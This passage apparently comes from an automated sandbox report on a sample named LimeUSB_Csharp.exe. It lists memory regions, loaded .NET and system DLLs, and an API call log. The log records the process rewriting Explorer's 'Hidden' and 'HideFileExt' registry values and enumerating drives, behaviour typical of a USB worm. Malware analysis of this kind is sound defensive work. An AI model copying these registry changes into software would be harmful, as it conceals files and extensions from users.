entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 2304 start_va = 0x7fef3140000 end_va = 0x7fef328efff monitored = 1 entry_point = 0x7fef3141090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 2305 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2308 start_va = 0x1b5e0000 end_va = 0x1b68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5e0000" filename = "" Region: id = 2309 start_va = 0x7fe91a00000 end_va = 0x7fe91a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91a00000" filename = "" Region: id = 2310 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2311 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2314 start_va = 0x7feeec70000 end_va = 0x7feef8defff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 2315 start_va = 0x7fef2f40000 end_va = 0x7fef3134fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 2318 start_va = 0x7feedbc0000 end_va = 0x7feeec65fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 2325 start_va = 0x350000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 2333 start_va = 0x360000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 2334 start_va = 0x370000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 2337 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2401 start_va = 0x7fef8dd0000 end_va = 0x7fef8de5fff monitored = 1 entry_point = 0x7fef8dde5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 2402 start_va = 0x1b690000 end_va = 0x1b961fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 37 os_tid = 0x304 [0094.575] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0103.509] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x24ea88 | out: phkResult=0x24ea88*=0x1c4) returned 0x0 [0103.513] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x24ead8, lpData=0x0, lpcbData=0x24ead0*=0x0 | out: lpType=0x24ead8*=0x4, lpData=0x0, lpcbData=0x24ead0*=0x4) returned 0x0 [0103.513] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x24ead8, lpData=0x24eab8, lpcbData=0x24ead0*=0x4 | out: lpType=0x24ead8*=0x4, lpData=0x24eab8*=0x2, lpcbData=0x24ead0*=0x4) returned 0x0 [0104.195] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x24ea98, lpData=0x0, lpcbData=0x24ea90*=0x0 | out: lpType=0x24ea98*=0x4, lpData=0x0, lpcbData=0x24ea90*=0x4) returned 0x0 [0104.694] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x24eb08*=0x2, cbData=0x4 | out: lpData=0x24eb08*=0x2) returned 0x0 [0104.694] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x24ead8, lpData=0x0, lpcbData=0x24ead0*=0x0 | out: lpType=0x24ead8*=0x4, lpData=0x0, lpcbData=0x24ead0*=0x4) returned 0x0 [0104.694] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x24ead8, lpData=0x24eab8, lpcbData=0x24ead0*=0x4 | out: lpType=0x24ead8*=0x4, lpData=0x24eab8*=0x1, lpcbData=0x24ead0*=0x4) returned 0x0 [0104.694] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x24ea98, lpData=0x0, lpcbData=0x24ea90*=0x0 | out: lpType=0x24ea98*=0x4, lpData=0x0, lpcbData=0x24ea90*=0x4) returned 0x0 [0104.695] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x24eb08*=0x1, cbData=0x4 | out: lpData=0x24eb08*=0x1) returned 0x0 [0104.927] GetLogicalDrives () returned 0x4 [0105.323] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x24da18 | out: phkResult=0x24da18*=0x0) returned 0x2 [0105.324] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0105.501] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x24e470, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0105.693] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0105.694] CoGetContextToken (in: pToken=0x24f920 | out: pToken=0x24f920) returned 0x0 [0105.694] CObjectContext::QueryInterface () returned 0x0 [0105.694] CObjectContext::GetCurrentThreadType () returned 0x0 [0105.694] Release () returned 0x0 [0105.765] CoGetContextToken (in: pToken=0x24f3c0 | out: pToken=0x24f3c0) returned 0x0 [0105.765] CObjectContext::QueryInterface () returned 0x0 [0105.765] CObjectContext::GetCurrentThreadType () returned 0x0 [0105.765] Release () returned 0x0 [0105.766] CoGetContextToken (in: pToken=0x24f3c0 | out: pToken=0x24f3c0) returned 0x0 [0105.766] CObjectContext::QueryInterface () returned 0x0 [0105.766] CObjectContext::GetCurrentThreadType () returned 0x0 [0105.766] Release () returned 0x0 [0105.769] CoGetContextToken (in: pToken=0x24f3c0 | out: pToken=0x24f3c0) returned 0x0 [0105.770] CObjectContext::QueryInterface () returned 0x0 [0105.770] CObjectContext::GetCurrentThreadType () returned 0x0 [0105.770] Release () returned 0x0 [0105.771] CoGetContextToken (in: pToken=0x24f3e0 | out: pToken=0x24f3e0) returned 0x0 [0105.771] CObjectContext::QueryInterface () returned 0x0 [0105.772] CObjectContext::GetCurrentThreadType () returned 0x0 [0105.772] Release () returned 0x0 [0105.887] CoUninitialize () Thread: id = 38 os_tid = 0x930 Thread: id = 39 os_tid = 0x490 [0096.068] CoGetContextToken (in: pToken=0x1b0af880 | out: pToken=0x1b0af880) returned 0x0 [0096.068] CObjectContext::QueryInterface () returned 0x0 [0096.068] CObjectContext::GetCurrentThreadType () returned 0x0 [0096.068] Release () returned 0x0 [0096.068] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0105.767] RegCloseKey (hKey=0x1c4) returned 0x0 [0105.768] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 42 os_tid = 0x94c Process: id = "13" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x2efcd000" os_pid = "0x8f8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2338 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2339 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2340 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2341 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2342 start_va = 0x3b0000 end_va = 0xe73fff monitored = 1 entry_point = 0xe6e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2343 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2344 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2345 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2346 start_va = 0x7fff6000 end_va = 0x7fff6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff6000" filename = "" Region: id = 2347 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2348 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2349 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2350 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2351 start_va = 0x190000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2352 start_va = 0x7fef8d10000 end_va = 0x7fef8d7efff monitored = 1 entry_point = 0x7fef8d11134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 2353 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2354 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2355 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2356 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2357 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2358 start_va = 0x190000 end_va = 0x1f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2359 start_va = 0x270000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 2360 start_va = 0xe80000 end_va = 0x107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 2361 start_va = 0xe80000 end_va = 0xf7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 2362 start_va = 0x1070000 end_va = 0x107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 2363 start_va = 0x1080000 end_va = 0x12cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 2364 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2365 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2366 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2367 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2368 start_va = 0x1080000 end_va = 0x123ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 2369 start_va = 0x1250000 end_va = 0x12cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001250000" filename = "" Region: id = 2370 start_va = 0x1080000 end_va = 0x117ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 2371 start_va = 0x1230000 end_va = 0x123ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001230000" filename = "" Region: id = 2372 start_va = 0x7fef3c20000 end_va = 0x7fef3cc8fff monitored = 1 entry_point = 0x7fef3c21010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 2373 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 2374 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2375 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2376 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2377 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2378 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2379 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2380 start_va = 0x12d0000 end_va = 0x1457fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000012d0000" filename = "" Region: id = 2381 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2382 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2383 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2385 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2386 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2387 start_va = 0x1460000 end_va = 0x15e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001460000" filename = "" Region: id = 2388 start_va = 0x15f0000 end_va = 0x29effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015f0000" filename = "" Region: id = 2389 start_va = 0x29f0000 end_va = 0x34acfff monitored = 1 entry_point = 0x34ae3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2390 start_va = 0x29f0000 end_va = 0x34acfff monitored = 1 entry_point = 0x34ae3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2391 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2392 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2393 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2394 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2395 start_va = 0x7fefb320000 end_va = 0x7fefb335fff monitored = 0 entry_point = 0x7fefb32c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 2396 start_va = 0x7fef3760000 end_va = 0x7fef381cfff monitored = 0 entry_point = 0x7fef37e7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 2403 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2404 start_va = 0x70000 end_va = 0x7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2405 start_va = 0x80000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 2406 start_va = 0x7fe91890000 end_va = 0x7fe9189ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91890000" filename = "" Region: id = 2407 start_va = 0x7fe918a0000 end_va = 0x7fe918affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918a0000" filename = "" Region: id = 2408 start_va = 0x7fe918b0000 end_va = 0x7fe9193ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918b0000" filename = "" Region: id = 2409 start_va = 0x7fe91940000 end_va = 0x7fe919affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91940000" filename = "" Region: id = 2410 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2411 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2412 start_va = 0x29f0000 end_va = 0x2b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 2413 start_va = 0x2b20000 end_va = 0x2ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b20000" filename = "" Region: id = 2414 start_va = 0x2d30000 end_va = 0x2e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d30000" filename = "" Region: id = 2415 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2416 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2417 start_va = 0x2e30000 end_va = 0x1ae2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e30000" filename = "" Region: id = 2418 start_va = 0x1ae30000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae30000" filename = "" Region: id = 2419 start_va = 0x2b20000 end_va = 0x2c20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b20000" filename = "" Region: id = 2420 start_va = 0x2c70000 end_va = 0x2ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c70000" filename = "" Region: id = 2421 start_va = 0x1b270000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 2422 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2423 start_va = 0x1b410000 end_va = 0x1b50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b410000" filename = "" Region: id = 2424 start_va = 0x1b510000 end_va = 0x1b60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b510000" filename = "" Region: id = 2425 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2426 start_va = 0x1b610000 end_va = 0x1b8defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2428 start_va = 0x7feee2e0000 end_va = 0x7feef8dcfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 2430 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 2431 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 2432 start_va = 0x7fe919b0000 end_va = 0x7fe91a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe919b0000" filename = "" Region: id = 2433 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2434 start_va = 0x2f0000 end_va = 0x36cfff monitored = 0 entry_point = 0x2fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2435 start_va = 0x2f0000 end_va = 0x36cfff monitored = 0 entry_point = 0x2fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2436 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2443 start_va = 0x7fef8e60000 end_va = 0x7fef8e62fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 2444 start_va = 0x7fef2ff0000 end_va = 0x7fef313efff monitored = 1 entry_point = 0x7fef2ff1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 2445 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2446 start_va = 0x2f0000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 2448 start_va = 0x7fe91a30000 end_va = 0x7fe91a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91a30000" filename = "" Region: id = 2449 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2450 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2452 start_va = 0x7fef0270000 end_va = 0x7fef0edefff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: 